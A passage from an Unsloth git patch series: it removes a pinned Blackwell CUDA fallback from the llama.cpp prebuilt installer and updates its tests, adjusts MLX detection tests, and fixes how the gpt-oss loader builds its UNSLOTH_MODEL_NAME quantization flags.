-    release manifest)."""
-    artifacts = dict(checksums.artifacts)
-    if pin.expected_sha256:
-        artifacts[pin.name] = ApprovedArtifactHash(
-            asset_name = pin.name,
-            sha256 = pin.expected_sha256,
-            repo = pin.repo,
-            kind = "prebuilt",
-        )
-    if pin.runtime_name and pin.runtime_sha256:
-        artifacts[pin.runtime_name] = ApprovedArtifactHash(
-            asset_name = pin.runtime_name,
-            sha256 = pin.runtime_sha256,
-            repo = pin.repo,
-            kind = "prebuilt",
-        )
-    return dataclasses_replace(checksums, artifacts = artifacts)
-
-
-def _with_pinned_windows_cuda_fallback(
-    host: HostInfo, attempts: list[AssetChoice], checksums: ApprovedReleaseChecksums
-) -> tuple[list[AssetChoice], ApprovedReleaseChecksums]:
-    """Insert the Blackwell pin ahead of the Windows CUDA attempts and keep it
-    through apply_approved_hashes, or return the inputs unchanged when dormant.
-    Gives the published install path the same GPU fallback as the simple path."""
-    attempts = _drop_blackwell_incapable_windows_cuda(host, attempts)
-    pin = _pinned_windows_cuda_fallback(host, attempts)
-    if pin is None:
-        return attempts, checksums
-    return [pin, *attempts], _augment_checksums_with_pin(checksums, pin)
-
-
 def published_windows_cuda_attempts(
     host: HostInfo,
     release: PublishedReleaseBundle,
@@ -3966,10 +3844,18 @@ def resolve_upstream_asset_choice(host: HostInfo, llama_tag: str) -> AssetChoice
 
     if host.is_windows and host.is_x86_64:
         if host.has_usable_nvidia:
-            attempts = resolve_windows_cuda_choices(host, llama_tag, upstream_assets)
+            attempts = _drop_blackwell_incapable_windows_cuda(
+                host, resolve_windows_cuda_choices(host, llama_tag, upstream_assets)
+            )
             if attempts:
                 return attempts[0]
-            raise PrebuiltFallback("no compatible Windows CUDA asset was found")
+            # A Blackwell host left with only an sm_120-incapable cuda-12.4 build
+            # (upstream gated off 13.3) has no usable GPU prebuilt here; fall
+            # through to the CPU bundle rather than returning a build it cannot
+            # offload. A non-Blackwell NVIDIA host with no CUDA asset at all is
+            # still a hard fallback.
+            if not _host_is_blackwell(host):
+                raise PrebuiltFallback("no compatible Windows CUDA asset was found")
 
         # AMD ROCm on Windows: try upstream HIP prebuilt, then fall back to CPU
         if host.has_rocm:
@@ -4050,23 +3936,20 @@ def resolve_release_asset_choice(
             torch_preference.selection_log,
         )
         if published_attempts:
-            pin_attempts, pin_checksums = _with_pinned_windows_cuda_fallback(
-                host, published_attempts, checksums
-            )
+            pin_attempts = _drop_blackwell_incapable_windows_cuda(host, published_attempts)
             try:
-                return apply_approved_hashes(pin_attempts, pin_checksums)
+                return apply_approved_hashes(pin_attempts, checksums)
             except PrebuiltFallback as exc:
                 log(
                     "published Windows CUDA assets ignored for install planning: "
                     f"{release.repo}@{release.release_tag} ({exc})"
                 )
         upstream_assets = github_release_assets(UPSTREAM_REPO, llama_tag)
-        upstream_attempts, upstream_checksums = _with_pinned_windows_cuda_fallback(
+        upstream_attempts = _drop_blackwell_incapable_windows_cuda(
             host,
             resolve_windows_cuda_choices(host, llama_tag, upstream_assets),
-            checksums,
         )
-        return apply_approved_hashes(upstream_attempts, upstream_checksums)
+        return apply_approved_hashes(upstream_attempts, checksums)
 
     published_choice: AssetChoice | None = None
     if host.is_windows and host.is_x86_64:
diff --git a/tests/studio/install/test_macos_version_compat.py b/tests/studio/install/test_macos_version_compat.py
index a8b57fe3c5..c2b2dc9225 100644
--- a/tests/studio/install/test_macos_version_compat.py
+++ b/tests/studio/install/test_macos_version_compat.py
@@ -223,7 +223,7 @@ def _fake_macos_releases(tags):
 
 
 class TestMacosReleasePin:
-    """A pre-26 macOS host pins the last upstream release that loads on it (b9415); macOS 26+ and unknown-version hosts use normal latest selection."""
+    """Pre-26 upstream macOS pins the last loadable ggml-org release."""
 
     TAGS = [f"b{n}" for n in range(9442, 9400, -1)]  # newest-first, includes b9415
 
diff --git a/tests/studio/install/test_selection_logic.py b/tests/studio/install/test_selection_logic.py
index 771b19c043..f65c7a895c 100644
--- a/tests/studio/install/test_selection_logic.py
+++ b/tests/studio/install/test_selection_logic.py
@@ -59,7 +59,6 @@ source_archive_logical_name = INSTALL_LLAMA_PREBUILT.source_archive_logical_name
 windows_cuda_upstream_asset_names = INSTALL_LLAMA_PREBUILT.windows_cuda_upstream_asset_names
 env_int = INSTALL_LLAMA_PREBUILT.env_int
 direct_upstream_release_plan = INSTALL_LLAMA_PREBUILT.direct_upstream_release_plan
-_pinned_windows_cuda_fallback = INSTALL_LLAMA_PREBUILT._pinned_windows_cuda_fallback
 CudaRuntimePreference = INSTALL_LLAMA_PREBUILT.CudaRuntimePreference
 published_windows_cuda_attempts = INSTALL_LLAMA_PREBUILT.published_windows_cuda_attempts
 _windows_cuda_attempt_covers_blackwell = (
@@ -2295,84 +2294,15 @@ class TestWindowsCudaAttempts:
 
 
 # ===========================================================================
-# N.1b. _pinned_windows_cuda_fallback -- pinned b9360 cuda-13.1 Blackwell fallback
+# N.1b. _windows_cuda_attempt_covers_blackwell -- Blackwell coverage classifier
 # ===========================================================================
 
 
-class TestPinnedBlackwellCudaFallback:
-    """Blackwell on 13.0/13.1/13.2, gated off in-release 13.3, gets the pinned b9360 cuda-13.1 GPU build; dormant otherwise."""
+class TestWindowsCudaAttemptCoversBlackwell:
+    """A windows-cuda attempt covers Blackwell only when its toolkit minor (from the asset name) is >= 12.8, or, for app-named bundles without a toolkit minor, its declared max_sm reaches sm_120."""
 
     TAG = "b8508"
 
-    def _win_host(self, driver, caps):
-        return make_host(
-            system = "Windows",
-            machine = "AMD64",
-            driver_cuda_version = driver,
-            compute_caps = caps,
-        )
-
-    def test_pin_offered_for_driver_13_1_blackwell(self):
-        pin = _pinned_windows_cuda_fallback(self._win_host((13, 1), ["120"]), [])
-        assert pin is not None
-        assert pin.tag == "b9360"
-        assert pin.runtime_line == "cuda13"
-        assert pin.name == "llama-b9360-bin-win-cuda-13.1-x64.zip"
-        assert pin.runtime_name == "cudart-llama-bin-win-cuda-13.1-x64.zip"
-        assert pin.url.endswith("/b9360/llama-b9360-bin-win-cuda-13.1-x64.zip")
-        assert pin.runtime_url.endswith("/b9360/cudart-llama-bin-win-cuda-13.1-x64.zip")
-        assert pin.install_kind == "windows-cuda"
-        assert pin.expected_sha256 and len(pin.expected_sha256) == 64
-        assert pin.runtime_sha256 and len(pin.runtime_sha256) == 64
-
-    def test_pin_offered_for_driver_13_2(self):
-        assert _pinned_windows_cuda_fallback(self._win_host((13, 2), ["120"]), []) is not None
-
-    def test_pin_offered_for_sm121_variant(self):
-        # sm_121 is Blackwell-family, also needs toolkit >= 12.8.
-        assert _pinned_windows_cuda_fallback(self._win_host((13, 1), ["121"]), []) is not None
-
-    def test_pin_uses_max_of_multi_gpu_caps(self):
-        assert _pinned_windows_cuda_fallback(self._win_host((13, 1), ["86", "120"]), []) is not None
-
-    @pytest.mark.parametrize("sm", ["89", "90", "100"])
-    def test_pin_not_offered_to_non_blackwell(self, sm):
-        # Ada/Hopper run cuda-12.4 fine; the pin must not fire.
-        assert _pinned_windows_cuda_fallback(self._win_host((13, 1), [sm]), []) is None
-
-    def test_pin_offered_for_driver_13_0(self):
-        # b9360 native sm_120a SASS + cuda-13.1 cudart run on a 13.0 r580+ driver via
-        # minor-version compat; 13.0 is the mainstream Blackwell branch, so it must fire.
-        assert _pinned_windows_cuda_fallback(self._win_host((13, 0), ["120"]), []) is not None
-
-    def test_pin_not_offered_below_floor(self):
-        # 12.x predates Blackwell; the pin stays dormant below 13.0.
-        assert _pinned_windows_cuda_fallback(self._win_host((12, 9), ["120"]), []) is None
-
-    def test_pin_not_offered_without_driver(self):
-        assert _pinned_windows_cuda_fallback(self._win_host(None, ["120"]), []) is None
-
-    def test_pin_not_offered_on_linux(self):
-        host = make_host(
-            system = "Linux",
-            machine = "x86_64",
-            driver_cuda_version = (13, 1),
-            compute_caps = ["120"],
-        )
-        assert _pinned_windows_cuda_fallback(host, []) is None
-
-    def test_pin_dormant_when_cuda13_attempt_present(self, monkeypatch):
-        # A runnable in-release cuda13 build makes the pin unnecessary.
-        mock_windows_runtime(monkeypatch, ["cuda13", "cuda12"])
-        host = self._win_host((13, 1), ["120"])
-        assets = {
-            f"llama-{self.TAG}-bin-win-cuda-13.1-x64.zip": "https://example.com/13.1",
-            f"llama-{self.TAG}-bin-win-cuda-12.4-x64.zip": "https://example.com/12.4",
-        }
-        existing = windows_cuda_attempts(host, self.TAG, assets, None)
-        assert any(a.runtime_line == "cuda13" for a in existing)
-        assert _pinned_windows_cuda_fallback(host, existing) is None
-
     def _win_cuda_attempt(self, minor):
         major = minor.split(".")[0]
         return AssetChoice(
@@ -2385,30 +2315,6 @@ class TestPinnedBlackwellCudaFallback:
             runtime_line = f"cuda{major}",
         )
 
-    def test_pin_dormant_when_runnable_cuda14_present(self, monkeypatch):
-        # An in-release cuda14 build must take precedence over the older b9360 13.1 pin.
-        mock_windows_runtime(monkeypatch, ["cuda14", "cuda12"])
-        host = self._win_host((14, 0), ["120"])
-        assets = {
-            f"llama-{self.TAG}-bin-win-cuda-14.0-x64.zip": "https://example.com/14.0",
-            f"llama-{self.TAG}-bin-win-cuda-12.4-x64.zip": "https://example.com/12.4",
-        }
-        existing = windows_cuda_attempts(host, self.TAG, assets, None)
-        assert any(a.runtime_line == "cuda14" for a in existing)
-        assert _pinned_windows_cuda_fallback(host, existing) is None
-
-    def test_pin_dormant_when_runnable_cuda12_8_present(self):
-        # A cuda-12.8 build also covers Blackwell, so the pin defers to it.
-        host = self._win_host((13, 1), ["120"])
-        existing = [self._win_cuda_attempt("12.8")]
-        assert _pinned_windows_cuda_fallback(host, existing) is None
-
-    def test_pin_fires_when_only_cuda12_4_present(self):
-        # cuda-12.4 does not cover Blackwell, so the pin still fires.
-        host = self._win_host((13, 1), ["120"])
-        existing = [self._win_cuda_attempt("12.4")]
-        assert _pinned_windows_cuda_fallback(host, existing) is not None
-
     @pytest.mark.parametrize(
         "minor, covers",
         [
@@ -2462,22 +2368,14 @@ class TestPinnedBlackwellCudaFallback:
         attempt = self._app_attempt(profile, runtime_line, max_sm)
         assert _windows_cuda_attempt_covers_blackwell(attempt) is covers
 
-    def test_pin_dormant_when_app_bundle_covers_blackwell(self):
-        # Regression: the coverage check previously matched only legacy
-        # -bin-win-cuda-X.Y-x64.zip names, so the pin never went dormant for an
-        # app-named cuda13 bundle that covers Blackwell.
-        host = self._win_host((13, 1), ["120"])
-        existing = [self._app_attempt("newer", "cuda13", 120)]
-        assert _pinned_windows_cuda_fallback(host, existing) is None
-
 
 # ===========================================================================
-# N.1c. direct_upstream_release_plan -- pinned Blackwell fallback ordering
+# N.1c. direct_upstream_release_plan -- Blackwell windows-cuda fallback ordering
 # ===========================================================================
 
 
 class TestDirectUpstreamBlackwellPin:
-    """The pin lands ahead of cuda-12.4 on the simple/upstream path; absent once a runnable in-release cuda13 build exists."""
+    """On the simple/upstream path a Blackwell host drops the sm_120-incapable cuda-12.4 attempt; with no pinned fallback it falls through to the windows-cpu build, while an in-release cuda-13.3 build is taken when present."""
 
     TAG = "b9365"
 
@@ -2503,7 +2401,7 @@ class TestDirectUpstreamBlackwellPin:
             lambda host: CudaRuntimePreference(runtime_line = None, selection_log = []),
         )
 
-    def test_blackwell_13_1_prepends_pin(self, monkeypatch):
+    def test_blackwell_13_1_falls_to_cpu(self, monkeypatch):
         mock_windows_runtime(monkeypatch, ["cuda13", "cuda12"])
         self._no_torch(monkeypatch)
         host = make_host(
@@ -2514,10 +2412,10 @@ class TestDirectUpstreamBlackwellPin:
         )
         plan = direct_upstream_release_plan(self._release(), host, UPSTREAM_REPO, "latest")
         order = [(a.tag, a.runtime_line or a.install_kind) for a in plan.attempts]
-        # cuda-12.4 (no sm_120) is dropped entirely on Blackwell rather than left as a
-        # slow non-native fallback behind the pin.
-        assert order == [("b9360", "cuda13"), (self.TAG, "windows-cpu")]
-        assert plan.attempts[0].name == "llama-b9360-bin-win-cuda-13.1-x64.zip"
+        # cuda-12.4 (no sm_120) is dropped entirely on Blackwell, and there is no pinned
+        # b9360 fallback anymore, so the host falls through to the windows-cpu build.
+        assert order == [(self.TAG, "windows-cpu")]
+        assert "b9360" not in [a.tag for a in plan.attempts]
         # Direct/upstream path stays unverified-by-manifest (no approved hashes).
         assert plan.approved_checksums.artifacts == {}
 
@@ -2819,7 +2717,7 @@ class TestPublishedWindowsCudaAttemptsDynamicMajor:
 
 
 class TestResolveReleaseAssetChoicePin:
-    """The manifest install path reaches the same b9360 Blackwell pin as the filename path, with its verified hash threaded."""
+    """The manifest install path drops sm_120-incapable windows-cuda attempts on Blackwell exactly like the filename path; with no pinned fallback a 13.1 host left with only cuda-12.4 has no usable CUDA attempt and walks back, while a 13.3 host keeps its in-release cuda-13.3 build."""
 
     TAG = "b8508"
 
@@ -2858,9 +2756,14 @@ class TestResolveReleaseAssetChoicePin:
             lambda host: CudaRuntimePreference(runtime_line = None, selection_log = []),
         )
 
-    def test_pin_applied_on_published_path_for_13_1(self, monkeypatch):
+    def test_no_cuda_attempt_on_published_path_for_13_1(self, monkeypatch):
         mock_windows_runtime(monkeypatch, ["cuda13", "cuda12"])
         self._no_torch(monkeypatch)
+        # After the published Blackwell filter drops every attempt, the resolver
+        # walks back to the upstream release; stub that fetch so the unit test stays
+        # offline (a live GitHub call is blocked by the security scanner) and the
+        # walk-back deterministically finds no usable CUDA build -> PrebuiltFallback.
+        monkeypatch.setattr(INSTALL_LLAMA_PREBUILT, "github_release_assets", lambda repo, tag: {})
         release = self._release([("13.3", "cuda13"), ("12.4", "cuda12")])
         checksums = self._checksums(["12.4"])  # 13.3 gated off for a 13.1 driver
         host = make_host(
@@ -2869,14 +2772,11 @@ class TestResolveReleaseAssetChoicePin:
             driver_cuda_version = (13, 1),
             compute_caps = ["120"],
         )
-        result = resolve_release_asset_choice(host, self.TAG, release, checksums)
-        assert result[0].tag == "b9360"
-        assert result[0].name == "llama-b9360-bin-win-cuda-13.1-x64.zip"
-        # The pin survives the approved-hash gate with its verified hash threaded.
-        assert result[0].expected_sha256 and len(result[0].expected_sha256) == 64
-        assert result[0].runtime_sha256 and len(result[0].runtime_sha256) == 64
-        # The sm_120-incapable upstream cuda-12.4 zip is excluded on Blackwell.
-        assert not any(a.runtime_line == "cuda12" for a in result)
+        # The sm_120-incapable upstream cuda-12.4 zip is dropped on Blackwell, and there
+        # is no pinned b9360 fallback anymore, so no usable windows-cuda attempt remains
+        # and the manifest resolver walks back instead of selecting cuda-12.4.
+        with pytest.raises(PrebuiltFallback):
+            resolve_release_asset_choice(host, self.TAG, release, checksums)
 
     def test_pin_dormant_on_published_path_for_13_3(self, monkeypatch):
         mock_windows_runtime(monkeypatch, ["cuda13", "cuda12"])
@@ -3299,6 +3199,29 @@ class TestResolveUpstreamAssetChoice:
         assert result.install_kind == "macos-arm64"
         assert result.name == name
 
+    def test_windows_blackwell_drops_incapable_cuda_to_cpu(self, monkeypatch):
+        # A Blackwell host on a 13.1 driver gets cuda-13.3 gated off and only the
+        # sm_120-incapable cuda-12.4 build left; it must fall through to the CPU
+        # bundle rather than be handed a GPU build it cannot offload.
+        names = [
+            f"llama-{self.TAG}-bin-win-cuda-13.3-x64.zip",
+            "cudart-llama-bin-win-cuda-13.3-x64.zip",
+            f"llama-{self.TAG}-bin-win-cuda-12.4-x64.zip",
+            "cudart-llama-bin-win-cuda-12.4-x64.zip",
+            f"llama-{self.TAG}-bin-win-cpu-x64.zip",
+        ]
+        self._mock_github_assets(monkeypatch, {n: f"https://x/{n}" for n in names})
+        host = make_host(
+            system = "Windows",
+            machine = "AMD64",
+            has_usable_nvidia = True,
+            driver_cuda_version = (13, 1),
+            compute_caps = ["120"],
+        )
+        result = resolve_upstream_asset_choice(host, self.TAG)
+        assert result.install_kind == "windows-cpu"
+        assert result.name == f"llama-{self.TAG}-bin-win-cpu-x64.zip"
+
     def test_macos_arm64_missing(self, monkeypatch):
         self._mock_github_assets(monkeypatch, {})
         host = make_host(
@@ -3392,8 +3315,6 @@ def _macos_host(machine = "arm64", version = (15, 5)):
 
 
 class TestPinnedMacosReleaseTag:
-    """pinned_macos_release_tag: pin b9415 for ggml-org upstream macOS below 26; None (latest) for 26+, unknown version, the fork, non-macOS."""
-
     def test_arm64_sequoia_pins_b9415(self):
         host = _macos_host("arm64", (15, 5))
         assert pinned_macos_release_tag(host, UPSTREAM_REPO) == "b9415"
@@ -3403,24 +3324,18 @@ class TestPinnedMacosReleaseTag:
         assert pinned_macos_release_tag(host, UPSTREAM_REPO) == "b9415"
 
     def test_x64_ventura_13_3_pins_b9415(self):
-        # b9415's Intel slice is minos 13.3, so 13.3 Intel hosts load it.
         host = _macos_host("x86_64", (13, 3))
         assert pinned_macos_release_tag(host, UPSTREAM_REPO) == "b9415"
 
-    def test_tahoe_26_0_takes_latest(self):
+    def test_tahoe_takes_latest(self):
         host = _macos_host("arm64", (26, 0))
         assert pinned_macos_release_tag(host, UPSTREAM_REPO) is None
 
-    def test_tahoe_26_1_takes_latest(self):
-        host = _macos_host("arm64", (26, 1))
-        assert pinned_macos_release_tag(host, UPSTREAM_REPO) is None
-
     def test_unknown_version_takes_latest(self):
         host = _macos_host("arm64", None)
         assert pinned_macos_release_tag(host, UPSTREAM_REPO) is None
 
     def test_fork_repo_is_dormant(self):
-        # The fork publishes its own minos-13.3 prebuilts.
         host = _macos_host("arm64", (15, 5))
         fork = INSTALL_LLAMA_PREBUILT.DEFAULT_PUBLISHED_REPO
         assert pinned_macos_release_tag(host, fork) is None
@@ -3431,7 +3346,7 @@ class TestPinnedMacosReleaseTag:
 
 
 class TestResolveSimpleMacosPin:
-    """Simple/upstream path: a pre-26 host resolves b9415 (no walk-back); a macOS 26 host takes the latest release."""
+    """Pre-26 upstream macOS resolves b9415; macOS 26 keeps latest."""
 
     TAGS = ["b9442", "b9430", "b9428", "b9415"]  # newest-first feed
 
@@ -3478,9 +3393,7 @@ class TestResolveSimpleMacosPin:
         assert plans[0].llama_tag == "b9415"
         assert plans[0].attempts[0].install_kind == "macos-arm64"
         assert plans[0].attempts[0].name == "llama-b9415-bin-macos-arm64.tar.gz"
-        # The pin overrode the requested tag before any release was fetched.
         assert calls[0][2] == "b9415"
-        # Simple/upstream path stays unverified-by-manifest.
         assert plans[0].approved_checksums.artifacts == {}
 
     def test_tahoe_host_takes_latest_release(self, monkeypatch):
diff --git a/tests/studio/test_hardware_dispatch_matrix.py b/tests/studio/test_hardware_dispatch_matrix.py
index 62a0fe0447..bccddac967 100644
--- a/tests/studio/test_hardware_dispatch_matrix.py
+++ b/tests/studio/test_hardware_dispatch_matrix.py
@@ -204,6 +204,16 @@ def spoof_hardware(monkeypatch):
             fake_mlx.core = fake_mlx_core
             monkeypatch.setitem(sys.modules, "mlx", fake_mlx)
             monkeypatch.setitem(sys.modules, "mlx.core", fake_mlx_core)
+            # detect_hardware now gates MLX on the full stack via
+            # utils.mlx_repair.mlx_stack_available() (it imports mlx_lm/mlx_vlm and
+            # checks dist versions), which faking only mlx.core cannot satisfy. An
+            # mlx profile means a complete, healthy stack, so model that here;
+            # mlx_stack_available's own internals are covered by test_mlx_repair.py.
+            if str(STUDIO_BACKEND) not in sys.path:
+                sys.path.insert(0, str(STUDIO_BACKEND))
+            import utils.mlx_repair as _mlx_repair  # type: ignore
+
+            monkeypatch.setattr(_mlx_repair, "mlx_stack_available", lambda: True)
         else:
             # Drop cached mlx and patch find_spec so the unsloth gate sees mlx as absent.
             monkeypatch.delitem(sys.modules, "mlx", raising = False)
diff --git a/tests/studio/test_is_mlx_dispatch_gate.py b/tests/studio/test_is_mlx_dispatch_gate.py
index 85a6e42449..f31f6d1655 100644
--- a/tests/studio/test_is_mlx_dispatch_gate.py
+++ b/tests/studio/test_is_mlx_dispatch_gate.py
@@ -178,6 +178,12 @@ def test_detect_hardware_picks_mlx_when_only_apple_silicon_available(monkeypatch
     monkeypatch.setitem(sys.modules, "mlx", fake_mlx)
     monkeypatch.setitem(sys.modules, "mlx.core", fake_mlx_core)
 
+    # detect_hardware now gates MLX on the full stack via _has_usable_mlx_stack()
+    # (utils.mlx_repair.mlx_stack_available imports mlx_lm/mlx_vlm and checks
+    # versions); faking mlx.core alone no longer satisfies it. This test asserts the
+    # dispatch decision when the stack IS usable, so model that directly.
+    monkeypatch.setattr(hw, "_has_usable_mlx_stack", lambda: True)
+
     detected = hw.detect_hardware()
     assert detected == hw.DeviceType.MLX, f"expected MLX, got {detected!r}"
 

From d8d2d5c84d2693bec3b1260a364e97f9175850c8 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Mon, 22 Jun 2026 02:28:14 -0700
Subject: [PATCH 010/306] loader: build UNSLOTH_MODEL_NAME fresh per load
 (fixes gpt-oss merged_16bit reload) (#6504)

* loader: build UNSLOTH_MODEL_NAME fresh per load instead of accumulating

UNSLOTH_MODEL_NAME was built by prepending the previous os.environ value. That
value is inherited across processes (a save->reload subprocess) and accumulated
stale load flags. A leftover '_load_in_4bit_' from an earlier bnb-4bit load made
gpt-oss wrongly take the BnB router patch (router.linear.weight) when later
reloading a merged 16bit checkpoint (router.weight), raising 'some weights are
not initialized'. Build the string fresh from this load's model name + flags.

* loader: keep the raw model name/path out of UNSLOTH_MODEL_NAME

Building the sentinel string from lowered_model_name meant a non-4bit load from a
local path that happens to contain a flag sentinel (e.g. .../model_load_in_4bit_x)
copied that substring into UNSLOTH_MODEL_NAME, so downstream gpt-oss patches that
test "_load_in_4bit_" in UNSLOTH_MODEL_NAME would wrongly take the BnB 4bit route
with load_in_4bit=False. Only the model TYPE tokens and the explicit load flags are
consumed downstream, and the raw name was not part of this string before the
fresh-build change, so build it from model_types_all + flags only.

* loader: encode effective bnb state in UNSLOTH_MODEL_NAME (not requested)

A checkpoint already quantized with a non-bitsandbytes method (gpt-oss MXFP4, gptq,
awq, compressed-tensors) has load_in_4bit/8bit disabled later by
check_and_disable_bitsandbytes_loading. Recording the REQUESTED _load_in_4bit_ here
meant the public default load_in_4bit=True on a native MXFP4 gpt-oss (stock
router.weight) routed onto the BnB router patch (router.linear.weight) and failed
with 'some weights are not initialized'. Mirror that normalization from the model's
own config via get_quant_type so the name reflects the effective load. Falls back to
the requested flags on any error.

* gpt-oss: detect non-bnb base quant for adapter-only PEFT repos

When loading an adapter-only PEFT repo, model_config is still None at the
point UNSLOTH_MODEL_NAME is built (the base config loads later), so the
_load_in_4bit_/_load_in_8bit_ tokens were always appended even when the base
is non-bnb quantized (e.g. a LoRA over gpt-oss MXFP4). Resolve the base
checkpoint's config via peft_config.base_model_name_or_path so the bnb load
flags reflect the effective quant method. Wrapped in try/except with the prior
behavior as fallback.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* gpt-oss: sync UNSLOTH_MODEL_NAME bnb tokens from the effective load state

The per-load UNSLOTH_MODEL_NAME is built in FastModel.from_pretrained before the base
is remapped (get_model_name) and before check_and_disable_bitsandbytes_loading runs, so
its _load_in_4bit_/_load_in_8bit_ tokens can be wrong: an adapter-only PEFT repo has
model_config=None there, and a base may be remapped to an Unsloth -bnb-4bit build or be
native MXFP4/GPTQ/AWQ. The gpt-oss patch keys its BnB vs stock router/expert classes off
these tokens, so a stale token mismatches the loaded checkpoint.

Add sync_unsloth_model_name_bnb_flags(load_in_4bit, load_in_8bit) and call it right after
check_and_disable_bitsandbytes_loading in both load paths (llama.py, vision.py), where the
effective bnb state is finally known. It makes the tokens match the effective flags, is
gated to gpt-oss (the only consumer; the token is inert for every other model), and is a
strict no-op otherwise.

This supersedes the earlier pre-remap PEFT-base probe (reverted): probing the base config
in FastModel could not see the get_model_name remap, so it mis-set the token for an adapter
whose base remaps to bnb-4bit. The post-disable sync handles every case uniformly.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* gpt-oss: do not stamp a synthetic bnb quantization_config over a non-bnb model

The post-load 'fix up bitsandbytes config' block runs under the requested load_in_4bit,
which stays True for a native MXFP4/GPTQ/AWQ checkpoint even though
check_and_disable_bitsandbytes_loading disabled bnb for the actual load. Stamping a
synthetic bitsandbytes quantization_config there overwrites the real one and would be
saved as a fake bnb config. Guard it: only stamp when the loaded model is bnb or
unquantized (get_quant_type(model.config) in (None, 'bitsandbytes')).

* gpt-oss loader: tighten comments/docstrings (no code change)

---------

Co-authored-by: danielhanchen <michaelhan2050@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 unsloth/models/llama.py        |   8 ++-
 unsloth/models/loader.py       | 101 ++++++++++++++++++++++-----------
 unsloth/models/loader_utils.py |  19 +++++++
 unsloth/models/vision.py       |   8 ++-
 4 files changed, 101 insertions(+), 35 deletions(-)

diff --git a/unsloth/models/llama.py b/unsloth/models/llama.py
index 08802f030e..2f449453f9 100644
--- a/unsloth/models/llama.py
+++ b/unsloth/models/llama.py
@@ -2460,7 +2460,10 @@ class FastLlamaModel:
             # Add to kwargs
             kwargs["rope_scaling"] = rope_scaling
 
-        from .loader_utils import check_and_disable_bitsandbytes_loading
+        from .loader_utils import (
+            check_and_disable_bitsandbytes_loading,
+            sync_unsloth_model_name_bnb_flags,
+        )
         from unsloth_zoo.utils import get_quant_type
 
         # Extract load_in_8bit from kwargs if provided
@@ -2470,6 +2473,9 @@ class FastLlamaModel:
         load_in_4bit, load_in_8bit, _ckpt_quant_method = check_and_disable_bitsandbytes_loading(
             model_config, load_in_4bit = load_in_4bit, load_in_8bit = load_in_8bit
         )
+        # Correct UNSLOTH_MODEL_NAME's bnb tokens now that the effective bnb state is known
+        # (the per-load env was built before remap/disable). gpt-oss only; no-op otherwise.
+        sync_unsloth_model_name_bnb_flags(load_in_4bit, load_in_8bit)
 
         bnb_config = None
         _ckpt_qcfg = getattr(model_config, "quantization_config", None)
diff --git a/unsloth/models/loader.py b/unsloth/models/loader.py
index 459b6ed32d..5fc1755feb 100644
--- a/unsloth/models/loader.py
+++ b/unsloth/models/loader.py
@@ -826,21 +826,30 @@ class FastLanguageModel(FastLlamaModel):
         if load_in_4bit:
             # Fix up bitsandbytes config, but respect user-provided quantization_config
             if quantization_config is None:
-                compute_dtype = dtype_from_config(model.config)
-                quantization_config = {
-                    # Sometimes compute_dtype is not a string!!
-                    "bnb_4bit_compute_dtype": compute_dtype,
-                    "bnb_4bit_quant_type": "nf4",
-                    "bnb_4bit_use_double_quant": True,
-                    "llm_int8_enable_fp32_cpu_offload": False,
-                    "llm_int8_has_fp16_weight": False,
-                    "llm_int8_skip_modules": None,
-                    "llm_int8_threshold": 6.0,
-                    "load_in_4bit": True,
-                    "load_in_8bit": False,
-                    "quant_method": "bitsandbytes",
-                }
-                model.config.update({"quantization_config": quantization_config})
+                # `load_in_4bit` is the requested flag, not the effective one: a non-bnb
+                # checkpoint (MXFP4/gptq/awq) had bnb disabled by check_and_disable, so stamping a
+                # synthetic bnb config would corrupt its real one. Only stamp bnb/unquantized.
+                try:
+                    from unsloth_zoo.utils import get_quant_type
+                    _stamp_bnb = get_quant_type(model.config) in (None, "bitsandbytes")
+                except Exception:
+                    _stamp_bnb = True
+                if _stamp_bnb:
+                    compute_dtype = dtype_from_config(model.config)
+                    quantization_config = {
+                        # Sometimes compute_dtype is not a string!!
+                        "bnb_4bit_compute_dtype": compute_dtype,
+                        "bnb_4bit_quant_type": "nf4",
+                        "bnb_4bit_use_double_quant": True,
+                        "llm_int8_enable_fp32_cpu_offload": False,
+                        "llm_int8_has_fp16_weight": False,
+                        "llm_int8_skip_modules": None,
+                        "llm_int8_threshold": 6.0,
+                        "load_in_4bit": True,
+                        "load_in_8bit": False,
+                        "quant_method": "bitsandbytes",
+                    }
+                    model.config.update({"quantization_config": quantization_config})
             else:
                 if hasattr(quantization_config, "to_dict"):
                     model.config.update({"quantization_config": quantization_config.to_dict()})
@@ -1234,10 +1243,27 @@ class FastModel(FastBaseModel):
 
         # Save model types and loading method
         lowered_model_name = model_name.lower()
-        string = os.environ.get("UNSLOTH_MODEL_NAME", "") + model_types_all
-        if load_in_4bit:
+        # Build UNSLOTH_MODEL_NAME fresh from THIS load's model types + flags; do not prepend the
+        # inherited os.environ value (a stale "_load_in_4bit_" from an earlier load, e.g. across a
+        # save->reload subprocess, would push gpt-oss onto the BnB router patch when later loading
+        # a 16bit checkpoint -> "weights not initialized"). Only the type tokens and the load flags
+        # below are consumed downstream; the raw model name/path is excluded so a path containing a
+        # flag sentinel cannot be misread.
+        #
+        # Encode the EFFECTIVE bnb state: a non-bnb checkpoint (MXFP4/gptq/awq) has load_in_4bit
+        # disabled later by check_and_disable, so recording the requested flag here would route a
+        # native MXFP4 gpt-oss onto the BnB router patch. This is only an EARLY best-effort (an
+        # adapter-only PEFT repo has model_config=None here, and the base may be remapped); the
+        # authoritative correction is sync_unsloth_model_name_bnb_flags(...) after check_and_disable.
+        try:
+            from unsloth_zoo.utils import get_quant_type
+            _bnb_compatible_quant = get_quant_type(model_config) in (None, "bitsandbytes")
+        except Exception:
+            _bnb_compatible_quant = True
+        string = model_types_all
+        if load_in_4bit and _bnb_compatible_quant:
             string += "_load_in_4bit_"
-        if load_in_8bit:
+        if load_in_8bit and _bnb_compatible_quant:
             string += "_load_in_8bit_"
         if load_in_16bit:
             string += "_load_in_16bit_"
@@ -1659,21 +1685,30 @@ class FastModel(FastBaseModel):
         if load_in_4bit:
             # Fix up bitsandbytes config, but respect user-provided quantization_config
             if quantization_config is None:
-                compute_dtype = dtype_from_config(model.config)
-                quantization_config = {
-                    # Sometimes compute_dtype is not a string!!
-                    "bnb_4bit_compute_dtype": compute_dtype,
-                    "bnb_4bit_quant_type": "nf4",
-                    "bnb_4bit_use_double_quant": True,
-                    "llm_int8_enable_fp32_cpu_offload": False,
